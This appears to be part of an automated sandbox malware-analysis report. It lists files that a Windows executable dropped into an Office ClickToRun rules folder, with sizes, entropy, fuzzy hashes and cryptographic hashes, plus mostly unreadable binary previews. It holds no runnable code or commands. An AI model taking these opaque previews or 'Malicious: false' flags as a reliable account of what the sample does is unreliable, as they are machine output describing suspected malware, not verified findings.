Preview:	<Rule.Za<H{$.......Uc5..!TY.J....\|.`.\.m..._...{.`.V.E.W[..B..~...w....9..8...W.&..E.)..S}!.....5+4...].u..CI.f..[.o..p.K.P.........5...\|......nx.{...\..r...k..P.1..Y....Ae.].$....{......Y..0U.P.....L(.......)o.&.M.l..Zw^.0#...aB.ku.q.,..a.c...L.kD....v...f?....I.QR88..n..8?-..a.y`..ywU........G...m....:J.Im......id.A.]..&./.\|o..\|).D..E8#?. .n..o.a..C.....4x.bfva1Vcdg.Du,..wzR`.......R........a.(.U!.....IA. .\.<.E...i..c`.nVw...&?.......qT.Y_`..6.l..Q.'.j..s.<.../......;.P.......9O_8....V.\|.1.t......F.'......M.c..>V.wC......3....e...BX.;.A.......6x.v..c..5;..@........NO....T.6z..jlP...(...O.b.K.y'.K.4.\|........x...+...'.}dI.(.NZ.....8.....%/.A.g)..X.K.j..?..,....+W_.x...?..p..(P"N...N..M.j..6..3VB.`...P\..!..hkd.oUMN.^.)9.o....TH.:>.._....0"H.R.....;..X..L.(.?.uHAKm...$..wNy....e..7.o.!...m.kb.i..2.F8...N..%..r...?.Q.\D.?g.L.J.q...w.TO9Y..r....p.<%.....e.....o./ j.7..2)S........].%E.X....SM.4.&;...........e. !Q...%r.B8..._....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.891938059722667
Encrypted:	false
SSDEEP:	48:d4ZkoQf2IyHauJfisH36xieQhXCNhbXhIgKxrVmLyHZ42aD:dWkFHfuJf5HKweoUhzhIDxrVmLX2y
MD5:	8DEC0309A8742B8B78CCE272F8C5799C
SHA1:	8BA326FC9B51E8C8FEBD27D5D1C907B4A2D51FB6
SHA-256:	279D100073AF21362DCED4B0C43D7EF65CFB8B9C8C47E0A2D7D56DDAE496454B
SHA-512:	D6EDE099AC0F75C887488076E96782EA2A6E09E6820D024EC433B3F85041572A52B6E10EE59027B2CE40DA851BF63A7A45D31DC856C9320C78DD74716B0E544D
Malicious:	false
Preview:	<?xml..K. ..$#..P...;~..X.w....../5=.z.[.....H..e.\............$.o........z...7%5Ln...K,..`.].....Z;.S...g...Y6..M.@y<..P..:..!@/....n.._...\|"=n@.vq.TH...a+q..../...6..l..68............_.=.61..}..WtE../..'S.o..T.S..F.......m.=....B.J.e...6...a7.t.y.b...G....D...l.../6.cj.}:...........ISp+..@.H.c...6.!.m..eO...1.q..b.)R.t....../{.i.#U.B..c.H4PA>^?...9.D?......o..5.>...[.T.5.......g....l...5.N.........t.YV...h...JW#m..m..V........u{.7s..{...c...2._"..T........:.oT.......:..2Vm......8B..i.G.{..a!....lQ'..URH..v..9..#....-.....8.a..U.V.t...I......h.DE$].=.......>,b.ip...V.(i.P.1.c/..CPR5!....7^.......k...rM...g?wGj$q.7.Z......p..r.l...\..........V...J.......{-..........sZ.....z...h..S......E.!..x.e.}.yc...Y.......t..Q.o....`...p...nEG...eWM.$.\>6Yv#.lB.M.1r[..CG.....v.a.&..Tu.fRc..g......[.8...NJ!...m..J.z.qD.z'.of..]N{.......6.~(..=AY. ^.C..*.d..N...H.^...xD...{..G9q..E.t..q.!h.+.B....YK.....)...a.'sP.b.?.A...{...V.(.. ..}..'.DJ?b.[....^..y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.867887618325983
Encrypted:	false
SSDEEP:	24:CT3c04DUcHVD6BO8foGBhLoekzrkjdsj3WpwOVG3lRZ9DvbD:C41spgGBhLoZzrkjWb4DiRZ9DzD
MD5:	01F22F8752149835FC28E1BCA3B032D4
SHA1:	199DA58225CC858CBC95BA401EE24E1F485996EC
SHA-256:	7BCC300913A9BCA2BED171F034BC1D00B7E727FD7C7958A2B715E7372B558E72
SHA-512:	2D0BAC826977C0EE1EBA604DC349F3DB13D1D5AF6D78CE7C9F7A6C2B1AE8A186E82DCD02E84346CB37B9EA41FA5C2F154BDC28790827EEBD23903C4BD0A0C638
Malicious:	false
Preview:	<?xml......)?.0...\|.&.......3:.D.a.a....3....ZV....].`W..tn...N.Q:...r .np..\...r..5..$.....#....[/...-6.Syh..sL...^......0ge..M.....)...i..f.(7.......M......Lwn.;.8si.[(U...."...a..8.N...V{..[.N2P...c.c....T.tTm....W..p{.=....H..k.......W......M.+!.....xZ..+...xUD. .....D.='9.....n.G.vh...!N.b..Y....K2.y...=0...h.n..O._{..&;._....y;......./.R.....)..b.n..'..E....Mz....H........Z&.3.U.......([W....gQk/6BC..Iu.>_..\@wW. ..Io.m.4b.....3.\|QL1tt..`.s..k?.~[.B.o...M...4..U.\9..7..k..H.\|M.mv..m.[.....m..nTT:>h...G.~.5..y...#..kf,z.V4....!..2....QB,.f...1c...,.'s...:.]..:V.C...XD$...q.......~.4.v.........VmI....u.C.a..oS.b.-.....8...0.g.1.E.&.t.;...o..nW.N...6=75.1...1........?q..:...-.\|..O.....ny.b.,....{.[...].%..a.....a].\|{.."^...=...w....4o..."="....>..[...'.%.i.....s.\|...nI..r.W.._W.../..._e.Fk.A....O..._iCM..=......'..*.......a.."A&.......y!F..{~r-2....^..>.)..J...e.G.....z.\|.{..R.?..J..1.^A.w.`....Nc..].\|..-.J..y.s....V]..).Z"..[..u$e..=.m4Y,...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.933504596331114
Encrypted:	false
SSDEEP:	48:kTl/zvXSufUTUzUTdv7v+q9jPV1CfVcKcAubGpubmHks7FE6PiID:61vXSufUYzUd7v+4/HKuEL7FR9
MD5:	2BD7D3F0071D21B4A99BBBDBEB2DBA49
SHA1:	C22633B8FAE182A96D6FB744B02B3F33B11F67AE
SHA-256:	17A12E5B194C67CFD4CE11CF97A7510D865DEE7AC6B863E446C362A1BE77DD40
SHA-512:	E271CAAB3D8D69253166719BA2788D2472A610DEC461EA3E1A5F3C3930D916E4F8C4F23223BBF93BF201D70E9C727B693987BB996154D843936D8CFE68F1A6CB
Malicious:	false
Preview:	<?xmlE....u.].0W"/.......e.....'....W_..SC....?...P.".4......,?b.......nvV.!te.E.j..<..4.lzhRv`&..HSAc>...j..<...z.K.....6;.^.....W..;.^A.pk[.z.:.o.X.b7.vl.....&...+..w...y..c..O..s8.3..[T 3e../.}r"..\0)Mg..g.}........S.....sa..c...s..O..L....w...&..:). 8..rG...H.y.\|...FK.9..W..<....hX....R.;.....:..9.m<.aD...:.~.hJ...:Q..{..b..Q......#.<s3...f.....j.,.+....R. ....n;6u..>..VY....T...u........J.YyB.....?.i...6...r.m.'2A(+qX3=....S.qS.;..&.4.....U......&..c....zz<..3........m...q.........4.^.....i.V.:P!.V..^.\........[..{.Eu...b.$.sN.X...._\.....Z.%x..`.A).)...=.K.UC..[..?.zQ..`...b.h...3.>..~.J....j...-.a.....t...lc.N..7.x...O.np..R....X.R;.V..A@O......d..K.".2<.........#..D~V,..2K.....?.'.v.....S&..^.J..-.A.>v_f....v.../]......g... ..=.*)...{.....)..]{L.d...k._.m..P...>)s.{.9.._S....?...{7z..@3?0/..`..........3:.T.....m...8.M!L.([.W.4.......^.....y:7.>...Rs.6#f....3.R...$........6.B8 .\|.L.x......Dd.:..H..7.;...ULH...0S...Y..d..Q.>..)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.881889990871478
Encrypted:	false
SSDEEP:	48:nOC2RwF5p9La2c9enmjLBpw5uscI0WdaUaWOHJ/sD:OeLkenmjtpwcA0WdaUhr
MD5:	422C87A727FDEBD06ADE53550DCD8BCC
SHA1:	1F5DD34F05A6875BB7B896DAEB9064D8C2F1C885
SHA-256:	AC382174F4779BFD7879E6B3B24196C29BFE128298FA8202A0414E694FB65D20
SHA-512:	0B5BADD202AEA962A42B8FE2DC54751832B191AB6860170774AEED3DFBD0ABEDFFE4C109547C22768C1BC3615C78E5BDFC8EB40ECB35D8441CACF2C8417D9BEA
Malicious:	false
Preview:	<?xml.i........Io.U.....o......S.9+&m{....Y..?B7Z>..M.S.(.kU.......".g..\.x..x....<....DpQk...ra......3..K.....7.G.....f...0.........g..a<}BT...;7#.nb.S.L.~.cG....v..GY./.2.f.-H..7.i..<.eX...t......}...w.=..V0.T.,...!.O......Gm.Z.E...>0.-s.c_#..c.. .\|.R.y.F.73x....,.......nw.e.~.........G........ER6.K"L.'....y.%e.....p(1@.d......0m.c./.eu.9.{y.D.(..q6...j...U.R...h..[..(.5.k.:U...^g.a.S7...w...k.4wk.b.....IE.H....t.).L..d.a.=...z&<X..l..qf..F.../.."..:(2.....XfW....6.p.........w.C...Gl..!.... ..)..#.F....Ka....@Y.v.s.}.....U...f..-.,........F.....!O..lA.{.].5..>..w...g...Iui./Q..#gH.....g..$..^El..l#..\..sk..n.O...N..~.1....-v.5.6.....,Y...Lg+.Y....YVr.........a.?q0.......C"-#.".;<..d..bw......`.+..U.&..bO..U.i..27.V.'..V.F.S.X...y.R..+......xzMr.o.U...O.V..b/.(.....%T...<1B,.m..FX.5.i".GK.3ist......e:U...y;*.w%G..S.2.{4..m....o.B.0.c..g-.o...>hW...w.....M..95..1..d5, @.f.....r.p.B.Y6^.2..!7.:.....l..l\+...~..6....7./}W<.........R./1e..x..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.914165417280566
Encrypted:	false
SSDEEP:	48:gHUUDzUYu9WblPlvMypXL5bfNtlCV/Q0+hfbEpaVM45sNb7D:HUDzqClPlvdvfNtegbbVM4E
MD5:	0336FB9A7FA43C5549F1EE09CE819932
SHA1:	12A7B4DBFCDAF484C85ADAC0345998EB6CB28596
SHA-256:	5146627FE2F3A9A5F6C9A2D0C238F4A88D370711DC45491EE3F4A93AEE146E99
SHA-512:	B7EE98C2F175FCE96D9E01CC479DC62ABA452AA983C84F206BC6D227F2FA42FF94051222F7E00EDE4C98ABF48215D34DDC03B21F246F40E4B7E8F874193E9E1B
Malicious:	false
Preview:	<?xml.....S.}.d..i,.>a..U.MoyI.a..B.!.qO...7.. ..@F.j.]..5w`......{R...Y.......a...G...F....9.=...{...F.....P.....I..L.Cy...p.....4...k..-..O...6.i.7Ek......:.T.._.?4...7...lxJ.....\|...4. YUX2..Y.<x..,&f.j!...'k..HS.e:f%.....o.D5Z. b..b.,w......FY'H.........i).b..K..j~......>.-...;.b.=.w....+<m..^..M<...1.(.............C[..B2J........4......:..Q.w+.J.n9!...k.U{..@..e..x.Z..84b.b..b.....c..uT........[lIi..Pr.d.n. \N.^..}..C.el..{h..o......jV.ywS/..y.<.M..........f...-2....Fx....(w..u..P...N...B...:.....M....Y..a...4#tZ...\.8x.Q.....)\|y4......g.\.D.w.:...(..L....t..R.....,.....<t.?.....].}uQ..).!!.l.....Q+....Q......J3..o......P_..f....k.i.@..r.v..<..EG?S..r..'..n..dI..~.)..F$s21..c......~.{,2......C..op....c.D:....t0.....JF..5.c_.j.M_n;/....=..=9y.=..7...{...U....M.SGm'.=..zDoJh......t..............3...K..._......'u.f..-.{..q{..#k$...l.7.>..f{..cF.\|+..0...]2...w.y...$`......_.GH.m....dYe.FX:p...%....._.=z.d..O.gQ..e'..n...>o..;#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.693495615304473
Encrypted:	false
SSDEEP:	12:UFS4tt1Etmf0jddjuswuom+IVYtZIvD2zJB5zrv/2uY+VAguMwcjTz+F3KMo1+cq:OS+1EgfOdkswuom+Lz3dfYI3qKjAbD
MD5:	D5BA5020CB3F0A4AC21C1FD2EA6DA5D3
SHA1:	6D85B7E0B81EE4CB5D441A41F9B47A36A7B52937
SHA-256:	B4992C96C2E5619D497C2ECB6121274D7DD164F02E6879E0147A580D0A2DAFBA
SHA-512:	A59672EB2E46BF2BCC97879F21A80B78884B8DF22AD8243D1D549608BD34BB7AFB9DC648EBCB097376870155C7E161133D39C251E7068CF4E2BE9E3618BA1639
Malicious:	false
Preview:	<?xml.aR.K.%..."..6....m2.. s.@"r.<.'...!HX...i...Q.).PA.Sz.k.!.z...Ti.-Y(:...N.....SJ..>?..DG..A..d.K.'11..h..x......u.D<..$....s;.T...f.\.X/y>Ve..o..s"3N.>....3.n.[..cz.}......-`..t.l...`....d0....x..)>..uB..oL..,.af^.w...'f......v.}.BT...~e.....itT>..aS%p.D1%r7>....e&.A_..OJ..".}BS.N.....<p.....e...hY...83.!.j....`..S.\|.r+.8.K..A_'x..:..0..c.Mt.L... ...$n.D.[..Y....\|II..l</.Ojl..@..;..D#.......'.8../..M.I~.^Km..iGi.8Z.S.J...4o..^....y.....R..rk....n..\|.._.`.(..~.1.S....Q..VS.e=...J..'... \~.x....8 ...<A...8r...7.~B..#....9x.........q...;YE. ..V..0#.4...y..6.\|..\..Wf...8W..PU..4AD. .. %.m..7....h...q..6.q[..(Kb(.V."...#.y6cs..~..E...^..l=3$....g.r...'#.!.CU1l...._.epG..K.J.+H.+..\`SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.907027429032497
Encrypted:	false
SSDEEP:	48:cvrCmDUWRm3ifvHoLbyLG6PH50+b86aqsSdTV8EM5eD:cvWNmmavHoK6K5XsSdJxIm
MD5:	9595FDCF595824AB3D10E4EA094C7BDC
SHA1:	5C5BAF6143D9CBCD0ADD467D9DAA6FEF79834D21
SHA-256:	F85863666B6FD9BE106263D195DA99B50BC6A63A83184D2EA5C85A0FD89EA18F
SHA-512:	AA755498C01DE970FECEB18850A72B9AA354F5F0789B8E03F9E47F6CA9F4B7E3B9EA1C821E66AEA944DD2FE0B3908DBEB0580E8ECE27C674E5EC706838E4272A
Malicious:	false
Preview:	<?xml.....m.r".`.{...G?..$Ym.....ES..O......FH..kZ..@.fr..yoG..p....?...L.O.Y'"...tI.Z.wmi.4t.Q-l...=7SzS..i}.-.R..q..u..,.._/>.s.g.D.t\|.h....C.M.(......H...j..S.7.r$.6.m"..'.K..]...-!.uN...K&...oJX.U.....S.....\|..y>....=.........)...jLMTmd..u......u.-.E..y.Wp../..C.'Q...}EqK............e.....p.X{R.........6..J...?.a....t.{..HQ.........f.Ve....c[....b...E..)#vw...(v.U.....X<.......7.-3S.../.E......I....et..qe-\...B..-......)}....Fyi./.U,W..[V.#e.).k6...f..1x.4.1...C..y..[.X&..3..!.fD......#..h..2..?....~u...L.f.c`...q;F...X........<OWrU.."._,...x..c....-?.........Kq..:`.p-...:....3@.H..7.....5.6Q.Es..e..%...P.`(~.V..BQ...9b9sp\M..}..T.. J..f.>...'........)].\rh.{......!h.#..{.1.IuM9......wheq{)R.,.?.'.-....-k.....ZG.wi...$s..&.c..........i$JTe..M...;..HV.\|.......+.;..Y......<..cf......$..?F\l..DU......nO.r\J6...9......x...U.5...}O........(@..t...Y....N;..('. %...u...a.x{...Ux....q..k.n.4-..l..)?..Rx.',...Ib7.9...Ff...\t..tB.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.717566257279926
Encrypted:	false
SSDEEP:	12:Uql1wNXZjNfWlAfiMQ9xpe1phobNQlyLTK1u4KMvR2M5nDu5GaH1+cii9a:WNXhBhsxc3hWwyLTKs4KonDuwaUbD
MD5:	F22645F0DA94DB89D3BF4AFCD098FD69
SHA1:	CFB902ABEE4CA5C78D755FF05733BC7D4105AA8F
SHA-256:	06884FB5E5531A744E005AB88ED9BF26F0670DB5ED23DC7616512E41F213C965
SHA-512:	807506C96AD4BE6BE489BFC73D59E84C75A7DCE0C2CE79AE920D48EC2EC8B6A627BD8E2DD35BB0A30BF388C86E68CE16A002E74FAA60242589C9BE18B3CDA5AD
Malicious:	false
Preview:	<?xmll/g0g.\.<.x0.Rg.AAH".;..d.U.P...I.60.v......EM.q..>..p...G.Tr....;=B..Ixt. nQI.].h.+;......B..uwx.......9R....o.\|....Hk.o._...8...(;?..u\o..vy@g.....'...i;....R....6M.f(........w.0...&...P..%K..........z""........[..^u..l...M,..9`.)......#..V.'..ed.L.0...{.\.9..\k..G.o.5.....J...Jc..1..u-?.l=H...Hg..z..,..-.=.@[r2...`............<.oN^.......}...k.Q.........J.."i+..}^.....y...Q.r.......h8....B...A..rxr.(.v...TDRv.o'...>.A.s..WK.@.Z.\|.g0....A.[....`..>.J.Q.>8.e....../..sI.<.A.&..v/..8......#..H.....U...O.S....l...%...U\S..kG...^...L..'"...p.....G...P...H.:D...#.....C.4V).Q.-......4.R.y .^r...x"...r..o...}.).XS..#.(.v{.K...M.....9.>..*'....MC..A.....T......&SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.935374467569972
Encrypted:	false
SSDEEP:	48:yz2HCQ/QncWFG+rpvT85uCakcNuXlYu6Xhq+1W6XN3SQnf9bHarufPpMPBy3F9Hg:yzxqCcWg+J8JakcNuXlYuChq+o6B1bH8
MD5:	7D039BC6D7E8DC10EA3BB421938FF24E
SHA1:	4AE0CBA0A088D0AD234AD598D1E28005A933B0F1
SHA-256:	976BC53EC0AB443CEB9E6640BCA002FB365FF80521D004398FBD44F88EBD2213
SHA-512:	C301AF0E5367708F37666AF9958B0CDB2F15E01EDF49F91E1FCF0434145CDAC168078E3D6BB1266F8F01D99628792F502BEDAF0700D561479689CD5F474300B0
Malicious:	false
Preview:	<?xml....K.<..$+.:U....s,>.d.0.......~!..xx..1..}%G../..d.....ioR.......`u.@.6I....y....q.Pi:..R.T.(.9..f..Z{..t.p.....!.........&....Jo..(lj`.Z5<,51{............:.A57@..U.6R..G,.4bx!`.\..Q.... ..N.a'..(..j.Vf.....[.N...q..=.I..[.wL..}w>k-'.G.n4<.....1>.{..{<.s.1.}..`..^..P-K. C."R......2BUC..}).b .T....]Ix'.".n..'........}vu.p'....`..EGrq=t..)...{p.!.1......?..B.-.r.......9......r.....Z.-J..[....e.'......x@..m...-=....2d..F...Q.C.J[..g.7.........Y...x..^.....S.....HdL.....k6..=...~..M..2i.a.m..E....K......X.7!6.'GyF..."U....g.Q..b;.[.......L..C.Z.T...Y.F.bT.].q...Oi..6XSU.@.C.+...Y..C!f..$....!..8.q...N...].%..L..3.u....hR.}.g..i9...1.n"J.r...>.8.H]..... ...&....pE#=......t......Q..\.H....%.ef...V..Z..p...j..P.i...........2..:p./U.pq........\T....!.5.gG......aE..{.....?9....R!.....f@.`.)`..b9Z..A&......X../.t.\...Y..T3.<.B.>1d..Gq.C._......R.QG4.^].......).%.X.L...N[.&2.\9...gX>...]1#}.x...]:9.o.<;D0.?.../.. FvU2.@.?Z.2......W......}..2..d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.936127427107769
Encrypted:	false
SSDEEP:	48:py/bIu6dZx0AlVwUbfYPEC4DQFUbY5lLSGzri8UlAlnSN4O+NCuO2C8JWYWbG9Zy:+bkdZ/XfIhbFUIeGKfhqO+VO27R0Gyok
MD5:	ACDA0267607361E66E68D23E1132E9FD
SHA1:	0AACF789129E5BB3A787FC96EF73577A6ED4F981
SHA-256:	B6E155CD7559C45608BE50F6C5EC5718D050C01CB0AE1B6D0A569A95C3B0B776
SHA-512:	B64BBFAB2C3727705B3688F26597E59955F9AB93AAA8725499BF33291D4D124F5CEF8CA88F73E89DB0355819F6DBFB87E6AEC47CD8F139CC3D997C88CBB1B1DD
Malicious:	false
Preview:	<?xmlz.......D.g.4@.1.nS..p....@zb..}^t<... X%.T.........G._r...w..K.;..+'z..b...>.b.%C..~..gF.N...-9A3...E...qeau...XB..?...Q.xO...K9?._.7..Hk.......HS.1.V.!\+o.A........#7...e..Ea.....HG..C..M=S.. ...8N..Ra..r....+...HZ..E.-I...Xo1 B..!D.W.-..hv.T.2.{y.)=kn.S6.I.....".~?.......;..C.GQ...g?.....JF._.;..H2z....,...y.ACsn.y.k.L.[.R.ZJ......".J...v.e..&..E..zn..\.g/....O/-..'..\k......1......l........1..Y..U_S..a.1.....h`.F....p._......iA...2.C....(5......kr.........2...W........<......_9.aY...hD.O5...5...8&.-.6.B.~N.nqY.#..."o...J....u.W.y.x..F..#...9.c6%....6p.". >F].FW~...`...>...~...`MOJ`=_.R..5....7...(.9....D..hU".\|W..wQQ..`.\|...S.T..y..Gr2..9L.[.h.#...[D....GN.........(.1Ij0.k. eI~.....'.$.KU.-r...W..c..8..f........,D.....J,...j\|S.X....@Z..i`...x....(....I:+...W.._:........J....z9.K..s...&..Jk..}......_..1..8..j.......^..2.MR......J..2.L@....r+_..B.(.5....y..\|.....[....b.P...Il..W...qR..<bN...A.....[n...\$..!.....$9m...=~.g...5y\~.%..=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.960391230343856
Encrypted:	false
SSDEEP:	96:z0iDDaRZzcJO4nNXUSW5aIq/uLVuE0Wk1u5q6ixJusaol2aG+qvP:DDanobndW53q/uRvoRxmolC+q
MD5:	CC211B5D3497FE2E7C5FBAE0CE493CD9
SHA1:	AD10A4A968CFC8972567C5F707F45687FEC3FE9A
SHA-256:	56446921F6BDFEA6011AAA1C03AB3182A781C770126BCE38DACA7824FE49642B
SHA-512:	28147660ACD6F5183E2A61811FFA5A22357749B8E33C06DDD15BDFB4EFF3F36F654FD4A0DC11EFCD7906E1D8CFEFC6ED4E472DE78F761460DA71272360793311
Malicious:	false
Preview:	<?xml.....:.....Rd....z..G.A...}=P.K".X."...>.N.Mh.\|........Mh~.oL..a._Z-#..?_........t...?l.q.R.Q'... [.....`...0.....D......5.V.Y.9....z^..\|.+.N..I......t...t\E.z..M.h..".S..... .'..J..S...;.%..>.E.._H2ST(./."&...n.U/..0.j..ec[EQ..Om.Z2.)...i....u.H..C..>.H...z.Q.-....w.,.C.......w.I....'...2.&$...z0V.....T.$.V.X..n).........h.\.vx......Q..akK:.....i2:...=..k.I..6C..b..p.7.....Y.....a..!......(Z....{"..u.}..".@w...9...7L..)/....i..C"....q9DB.<..eC.$...e..<..f....u.."Q.4.6FUTw.)!E5x.T..N.'...9..{....~.......O3._..o.w.0.)3M.......\|.N.'..T.[.{..dk......L@....c\:....7....&."f4't....`d..r..}....%9..............=..A.^<..t.{...h.....1.H...7...&1B.q..$)d..,A..p...MGqF...'k...-.t..\...K...9E..<$....$.C...BB!.p]...'l.......]...WpLk..R.....^.H...S....l:..}..Rv.,^.. ..{...)*.xT...@.....j.{{."tw...b...z...Yp..... "{N.KI....c.{...='.1..F..I.@..;...Z..{..kc..y$.y..f....8.8....J]......:&-!....cp..1..../...yv..........W...2Jk.a....z.........u.0e.[4M..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.857234505513529
Encrypted:	false
SSDEEP:	24:UEJ/cxMoJoNkZjJMNZLfTejBKH9lHwiSXJVIZa8c2A1iOjyUDgXQ1iReL4ObD:UVMVNgJMvf6iHx8VIfLOTIYUsD
MD5:	45575FAC51964C0C11E915517017AFAC
SHA1:	FDD77B5BA71CE3D9C1F5F1D67ADBED54044831A4
SHA-256:	412E326FD089B680BDABF040076538595B101885509447E0C31BB4FD9C05883A
SHA-512:	70645978C72A47038E4CE8126BF093AE0C078CF4923D270269F34E935A37AD7072AE70E28EAE61DE62299D369805F990F6D2295D77C2C1619DA492949B0089C3
Malicious:	false
Preview:	<?xml..ZcX.X.v2....../+.Y.. .7O.2X..I.9x..%B..Wm..6X....8.x..S...\.E%M....1.....B...+<SK.739R.u.m7..._~..ur..CGy\ZS}.e..(!..;..y..Y...q.E..\.QKT...C.6~{..X...t...0.c...6u..9.....\|!..9..9......T`.=N....j...U.........&.0W...`........#..p.q=V..zS...C...GwM....$^sA........).Us.C/f&..<..@..($..q...c..c.......S..7.)$......u%....0...#.\].\Ly..E.....?..6c-.<....N..G]..-...,..QU.....<..%qOoi...^{.._w..1$a\.......v\..,9..n\.....d'..A...7....f_l...#..cl.a..=r....#Z%..9r`.(.?.o<.b...3.4^L.v..zD...+..;.k.,..........Y....CaX......r...T%."-<...:om../I.K....$s..5.P............Y4;@."....'.9.;...Q8\|F..V.].-....h.?v..)'u...k.LH.2h.).^...Z.`......Pw.D....1`..../...CH.F.........b...IU.SJ.o..~..H.S0..R_(P9)o...1.r... U....R.<...n....k<s.be.KXl..D.Q.Q...Y....l.nU...D.~.F.p&.a.oQ....o..1.2.....P.>k.C...IT.s.}....Q....kasaL.}..s@.=..ac.}q.[.wg.!.NI...<b.....k...e]..."..4 ~..5.Q.+....w.z.......BO.{..]..Y.N+......P8.X..{...!.;....)...a...6.fv.f.i......V.X..QG\..qf.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.86425210015503
Encrypted:	false
SSDEEP:	24:yvkZuSmCAZvIYfV9m7HrkNOpRCK92+xIIF/J9Hp/viEIbjYobD:y0gIYtArkNOpR59HFvHpwb3D
MD5:	F71968DA259FCE62F372706451677F43
SHA1:	95033708FC0B1D11C8F368F0CEB3C9B2CEBB7C69
SHA-256:	363FAEAB95645B87BD1D853F4DF736D78E703937DD79FEDB32493F13DF852532
SHA-512:	F206DA950CBAD5AE862B3436BBCC3A466C292AFA400C39750ECE39F2A8664203FAFEBE45C95167464AC3821492347B95AF63A041A7F7E2C8B761D8C078C72152
Malicious:	false
Preview:	<?xml..r.^8........M.(..3.>...;....z.I.~......1>.v.H.~D=[!..Q...D.LDU......O!...:'. ?..%5.......WV..!....MI.F.!.........5..J..R.+..d.\c.\T#...t....^..b...Vf...b.1...,.[..d.apRS5k.....].7d1K..A.........TH...3x.(....^..\.................p...vl"1..w.@..(~.K..#.h...":^`>,3y.L%b.:^..ug...%.].}.3...u)'..q.S.n..5. ...<....!..d.km..H&..A"D......V..<"w...S..{. ..,.v..q9.N0K....>.g.,....u.Ll.K.....&U..........9XO.pVmb.5..^.).e9..>`.]...siq........+!P".S.j.u.....EU..8`.,.3T.7.k...%...p..AThx.....).A..n...."^.V. }.....L.K..234F).k...B...0.;gQ..&..&...j.P...`.`...9...~.4.t"r6.5...D....A....Z_...^]-Y...`:(W. ...e.(.0.A.T...j"h.c..m%..4.. ..U....>)y,G...]&M...r....[,e..2....w*({L7../....C.h...Nu...r.~....&8...t(4..Q..z.....U.#.H.]..7O....P.@.@Y..9\|s..~D.........@.OT....3\.u.q..o..7...S~.70....?I\|uz:N..@K....k..k2.o,pP....4.G.5..r[..~{....w.I..FhU.V.}(s..2.B`.+..........<..w...l.J..#..'.E.h..!4...`....[....K.h.Y..!..5.o.s..........&.1M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.8348597092067385
Encrypted:	false
SSDEEP:	24:1kQybqP8kQM/aO9LOHIwHoKgiOf1jjMuGclkAmRo3B0dHCsubD:1kQ95Di2hwIKfOf1jAu5lkAmRnCsMD
MD5:	A8E4887F1D3CA9471EFEBF38A0C48EFB
SHA1:	EE47AFD674035E530F0B5A14F85E087FCEE5AB5E
SHA-256:	6B2AC318DD6A2C28347376FD2D0A666998E4F978AB849F20D7DF750D5739727D
SHA-512:	49B12241DEBCF319AE096052C4FDCB7E2CC47B843FF9517510B200BCB888CAC3BB0C70B4E31E3514E635E869A5FE33C695AB70F36B3D54F7A4F7E164D2F8380B
Malicious:	false
